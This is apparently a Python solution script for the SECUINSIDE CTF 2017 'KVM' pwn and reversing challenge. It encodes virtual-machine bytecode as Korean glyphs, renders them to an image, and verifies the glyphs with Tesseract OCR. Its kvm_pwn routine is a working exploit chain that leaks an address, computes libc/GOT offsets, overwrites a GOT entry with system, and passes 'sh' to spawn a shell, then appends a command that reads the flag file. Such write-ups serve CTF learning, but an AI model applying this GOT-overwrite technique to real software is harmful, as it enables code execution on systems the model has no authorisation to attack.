eggpod/secuinside2017_kvm.py

## secuinside2017_kvm.py
#-*- coding: utf-8

"""
SECUINSIDE CTF 2017 - KVM PWN, KVM REV

wget http://www.leptonica.com/source/leptonica-1.74.4.tar.gz
./configure && make install

wget https://github.com/tesseract-ocr/tesseract/archive/3.05.zip
./autogen.sh && ./configure && make install

wget https://github.com/tesseract-ocr/tessdata/blob/3.04.00/kor.traineddata
cp kor.traineddata /usr/local/share/tessdata/kor.traineddata

apt-get install fonts-nanum-coding

--
echo 'this_is_flag' > /home/kimchi-vm/pwnable_flag.txt
python secuinside2017_kvm.py
./kvm < kvminput
"""

import numpy
import PIL.Image
import PIL.ImageDraw
import PIL.ImageFont
import os, sys
from ctypes import *

msg_list = [
u"두",u"강",u"남",u"스",u"타",u"일",u"김",u"치",
u"불",u"고",u"기",u"한",u"우",u"장",u"어",u"돼",
u"지",u"구",u"글",u"좋",u"아",u"마",u"법",u"사",
u"태",u"국",u"정",u"보",u"술",u"원",u"임",u"준",
]

LINE_CHAR_COUNT = 24


SHELL_CMD = "cat /home/kimchi-vm/pwnable_flag.txt"

functable = []
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functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
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functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)


def draw_text(img, text, font_size):
	draw = PIL.ImageDraw.Draw(img)
	draw.font = PIL.ImageFont.truetype("/usr/share/fonts/truetype/nanum/NanumBarunGothic.ttf", font_size)

	img_size = numpy.array(img.size)
	txt_size = numpy.array(draw.font.getsize(text))
	pos = (img_size - txt_size) / 2

	h = 4
	w = 4
	for i in range(len(text)):
		pos = [w, h]
		draw.text(pos, text[i], (0, 0, 0))

		w += font_size + 6
		if (i%LINE_CHAR_COUNT) == LINE_CHAR_COUNT -1:
			h += font_size + 6
			w = 4

def image2text(filename):
	libtesseract = CDLL("libtesseract.so.3")
	liblept = CDLL("liblept.so.5")

	ctx = create_string_buffer(0x90)
	libtesseract._ZN9tesseract11TessBaseAPIC1Ev.argtypes = [c_void_p]
	libtesseract._ZN9tesseract11TessBaseAPIC1Ev(ctx)

	lang = "kor"
	f = libtesseract._ZN9tesseract11TessBaseAPI4InitEPKcS2_NS_13OcrEngineModeEPPciPK13GenericVectorI6STRINGESA_b
	f.argtypes = [c_void_p, c_char_p, c_char_p, c_int, c_void_p,  c_int, c_void_p, c_void_p, c_int]
	f(ctx, None, lang, 3, None, 0, None, None, 0)

	f = liblept.pixRead
	f.argtypes = [c_char_p]
	f.restype = c_void_p
	pix = f(filename)

	f = libtesseract._ZN9tesseract11TessBaseAPI8SetImageEP3Pix
	f.argtypes = [c_void_p, c_void_p]
	f((ctx), (pix))

	f = libtesseract._ZN9tesseract11TessBaseAPI11GetUTF8TextEv
	f.argtypes = [c_void_p]
	f.restype = c_char_p
	text = f(ctx)

	f = libtesseract._ZN9tesseract11TessBaseAPI3EndEv
	f.argtypes = [c_void_p]
	f(ctx)

	"""
	f = liblept.pixDestroy
	f.argtypes = [POINTER(c_void_p)]
	f(byref(pix))
	"""

	return text


def cmd2msg(cmd):
	m = u""
	for i in range(len(cmd)):
		c = functable[i](i, cmd[i])
		m += msg_list[c]

	return m


def cmd_set_random(pos):
	return [1, pos] + [31]

def cmd_i2a(pos):
	return [2, pos] + [31]

def cmd_i2c(pos):
	return [3, pos] + [31]

def cmd_compare(pos1, pos2):
	return [4, pos1, pos2] + [31]

def cmd_jmp(pos):
	return [5, pos] + [31]

def cmd_jmp_equal(pos):
	return [6, pos] + [31]

def cmd_jmp_less(pos):
	return [7, pos] + [31]

def cmd_jmp_greater(pos):
	return [8, pos] + [31]

def cmd_op_equate(pos1, pos2):
	return [9, pos1, pos2] + [31]

def cmd_op_pointer_read(pos1, pos2):
	return [10, pos1, pos2] + [31]

def cmd_op_pointer_write(pos1, pos2):
	return [11, pos1, pos2] + [31]

def cmd_op_inc(pos1):
	return [12, pos1] + [31]

def cmd_op_dec(pos1):
	return [13, pos1] + [31]

def cmd_op_mul(pos1, pos2):
	return [14, pos1, pos2] + [31]

def cmd_op_div(pos1, pos2):
	return [15, pos1, pos2] + [31]

def cmd_op_sub(pos1, pos2):
	return [16, pos1, pos2] + [31]

def cmd_op_add(pos1, pos2):
	return [17, pos1, pos2] + [31]

def cmd_op_mod(pos1, pos2):
	return [18, pos1, pos2] + [31]

def cmd_op_set_zero(pos1):
	return [19, pos1] + [31]

def cmd_nop():
	return [0] + [31]

def cmd_nop20():
	return [20] + [31]

def cmd_final():
	return [21] + [31]

def cmd_continue():
	return [31]

def kvm_rev():
	cmd = []
	reg_rand_old = 0
	reg_rand = 1
	reg_rand2 = 2
	reg_total = 3
	reg_10 = 4
	reg_loop_pos = 5
	reg_128 = 6
	reg_2 = 7
	reg_loop_label = 8

	cmd += cmd_op_inc(reg_2)
	cmd += cmd_op_inc(reg_2)

	cmd += cmd_op_inc(reg_10)
	cmd += cmd_op_inc(reg_10)
	cmd += cmd_op_inc(reg_10)
	cmd += cmd_op_mul(reg_10, reg_10)	#9
	cmd += cmd_op_inc(reg_10)			#10

	cmd += cmd_op_dec(reg_loop_label)
	cmd += cmd_op_dec(reg_loop_label)
	cmd += cmd_op_dec(reg_loop_label)
	cmd += cmd_op_mul(reg_loop_label, reg_10)	#-30
	cmd += cmd_op_dec(reg_loop_label)	# 31
	cmd += cmd_op_dec(reg_loop_label)	# 32

	cmd += cmd_op_inc(reg_128)			#
	cmd += cmd_op_inc(reg_128)			#
	cmd += cmd_op_mul(reg_128, reg_128)	#4
	cmd += cmd_op_mul(reg_128, reg_128)	#16
	cmd += cmd_op_mul(reg_128, reg_128)	#256
	cmd += cmd_op_div(reg_128, reg_2)	#128
	cmd += cmd_op_dec(reg_128)
	cmd += cmd_nop()
	cmd += cmd_nop()

	label_loop = len(cmd)
	cmd += cmd_set_random(reg_rand)
	cmd += cmd_op_equate(reg_rand2, reg_rand)
	cmd += cmd_op_mul(reg_rand, reg_10)
	cmd += cmd_op_add(reg_rand, reg_rand_old)
	cmd += cmd_op_equate(reg_rand_old, reg_rand2)
	cmd += cmd_i2a(reg_rand)
	cmd += cmd_compare(reg_loop_pos, reg_128)
	cmd += cmd_op_inc(reg_loop_pos)
	cmd += cmd_jmp_less(reg_loop_label)
	print "loop_delta %d" % (len(cmd) - label_loop)

	cmd += cmd_final()

	msg = cmd2msg(cmd)

	print "msg_len %d" % len(msg)

	return msg


def cmd_const_u8(reg, n):
	cmd = []

	cmd += cmd_op_set_zero(reg)
	for i in range(8):
		if n & (1<<i):
			# reg |= 1<<i
			cmd += cmd_op_add(reg, i+1)

	return cmd

def kvm_pwn():
	cmd = []

	reg_0 = 0
	reg_1 = 1
	reg_2 = 2
	reg_4 = 3
	reg_8 = 4
	reg_16 = 5
	reg_32 = 6
	reg_64 = 7
	reg_128 = 8
	reg_256 = 9
	reg_minus_1 = 10
	reg_tmp = 11
	reg_loop_idx = 12
	reg_loop_count = 13
	reg_jmp_delta = 14
	reg_funcaddr = 15
	reg_cmdptr = 16
	reg_cmd = 17
	reg_system = 18
	reg_gotplt_cout = 19
	reg_gotplt_print = 20

	# -1
	cmd += cmd_op_dec(reg_minus_1)

	# 1
	cmd += cmd_op_inc(reg_1)

	# 2
	cmd += cmd_op_inc(reg_2)
	cmd += cmd_op_inc(reg_2)

	# 4
	cmd += cmd_op_equate(reg_4, reg_2)
	cmd += cmd_op_mul(reg_4, reg_2)
	cmd += cmd_nop()

	# 8
	cmd += cmd_op_equate(reg_8, reg_4)
	cmd += cmd_op_mul(reg_8, reg_2)
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_op_equate(reg_16, reg_8)
	cmd += cmd_op_mul(reg_16, reg_2)

	# 16
	cmd += cmd_op_equate(reg_16, reg_8)
	cmd += cmd_op_mul(reg_16, reg_2)

	# 32
	cmd += cmd_op_equate(reg_32, reg_16)
	cmd += cmd_op_mul(reg_32, reg_2)
	cmd += cmd_nop()

	# 64
	cmd += cmd_op_equate(reg_64, reg_32)
	cmd += cmd_op_mul(reg_64, reg_2)

	# 128
	cmd += cmd_op_equate(reg_128, reg_64)
	cmd += cmd_op_mul(reg_128, reg_2)

	# 256
	cmd += cmd_op_equate(reg_256, reg_128)
	cmd += cmd_op_mul(reg_256, reg_2)
	cmd += cmd_nop()

	# skip randoms
	cmd += cmd_op_equate(reg_loop_count, reg_128)
	cmd += cmd_op_dec(reg_loop_count)
	cmd += cmd_op_equate(reg_jmp_delta, reg_16)
	cmd += cmd_op_mul(reg_jmp_delta, reg_minus_1)	# -16

	if 1:
		# for i in range(128):
		#	tmp = randtbl[randpos++]
		cmd += [0,0,31]
		cmd += cmd_set_random(reg_tmp)
		cmd += cmd_compare(reg_loop_idx, reg_loop_count)
		cmd += cmd_op_inc(reg_loop_idx)
		cmd += cmd_jmp_less(reg_jmp_delta)
	# ---

	# funcaddr = randtbl[128]
	cmd += cmd_set_random(reg_funcaddr)
	# baseaddr = funcaddr - 0xB6E3

	# cmd = "sh\x00"
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_const_u8(reg_tmp, 0x73)
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_op_add(reg_cmd, reg_tmp)
	cmd += cmd_const_u8(reg_tmp, 0x68)
	cmd += cmd_op_mul(reg_tmp, reg_256)
	cmd += cmd_op_add(reg_cmd, reg_tmp)

	# got_cout = funcaddr + 0x2128ed
	cmd += [0,0,0,0,31]
	cmd += cmd_op_equate(reg_gotplt_cout, reg_funcaddr)
	cmd += cmd_const_u8(reg_tmp, 0xed)
	cmd += [0,0,0,0,31]
	cmd += cmd_op_add(reg_gotplt_cout, reg_tmp)
	cmd += cmd_const_u8(reg_tmp, 0x28)
	cmd += cmd_op_mul(reg_tmp, reg_256)
	cmd += cmd_op_add(reg_gotplt_cout, reg_tmp)
	cmd += [0,0,0,0,31]
	cmd += cmd_const_u8(reg_tmp, 0x21)
	cmd += cmd_op_mul(reg_tmp, reg_256)
	cmd += cmd_op_mul(reg_tmp, reg_256)
	cmd += cmd_op_add(reg_gotplt_cout, reg_tmp)

	# gotplt__ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc = baseaddr + 0x21e0a8 (got_cout + 0xd8)
	cmd += cmd_op_equate(reg_gotplt_print, reg_gotplt_cout)
	cmd += [0,0,0,31]
	cmd += cmd_const_u8(reg_tmp, 0xd8)
	cmd += cmd_nop()
	cmd += cmd_op_add(reg_gotplt_print, reg_tmp)


	# system = baseaddr + 0xa322 (funcaddr-0x13c1)
	cmd += [0,0,31]
	cmd += cmd_op_equate(reg_system, reg_funcaddr)
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_nop()
	cmd += cmd_const_u8(reg_tmp, 0xc1)
	cmd += cmd_op_mul(reg_tmp, reg_minus_1)
	cmd += [0, 0, 0, 0, 31]
	cmd += cmd_op_add(reg_system, reg_tmp)
	cmd += cmd_const_u8(reg_tmp, 0x13)
	cmd += cmd_nop()
	cmd += cmd_op_mul(reg_tmp, reg_256)
	cmd += [0, 0, 0, 31]
	cmd += cmd_op_mul(reg_tmp, reg_minus_1)
	cmd += cmd_op_add(reg_system, reg_tmp)

	# cmdptr
	cmd += [0, 0,0, 0, 31]
	cmd += cmd_op_equate(reg_cmdptr, reg_gotplt_cout)
	cmd += cmd_const_u8(reg_tmp, 0x2)
	cmd += cmd_op_mul(reg_tmp, reg_256)
	cmd += cmd_op_add(reg_cmdptr, reg_tmp)

	cmd += cmd_op_pointer_write(reg_gotplt_print, reg_system)
	cmd += [0, 0, 31]

	cmd += cmd_op_pointer_read(reg_cmdptr, reg_gotplt_cout)
	cmd += cmd_op_pointer_write(reg_cmdptr, reg_cmd)

	cmd += cmd_final()
	msg = cmd2msg(cmd)

	print "msg_len %d" % len(msg)

	return msg

def main():
	input_text = kvm_pwn()

	print "Input Text : %s" % input_text

	assert(len(input_text) < 8192)

	sample_count = 0
	for font_size in range(38, 39):
		img = PIL.Image.new("1", (1400, 1400))
		draw_text(img, input_text, font_size)
		#img.show()
		filename = "sample.bmp"
		img.save(filename)

		text = unicode(image2text(filename), "utf-8")
		text =  text.replace(u" ", u"")
		text =  text.replace(u"\n", u"")
		#print "Output Text: %s" % text

		success = True
		count = 0
		while count < len(input_text):
			if text[count] != input_text[count]:
				success = False
				break
			count += 1

		if  success:
			pic = open(filename,"rb").read()
			open("kvminput","wb").write(("%d\n"%len(pic)) +pic+SHELL_CMD)
			print "ok"
			break
		else:
			print "error pos=%4d fontsize=%4d" % (count, font_size)

main()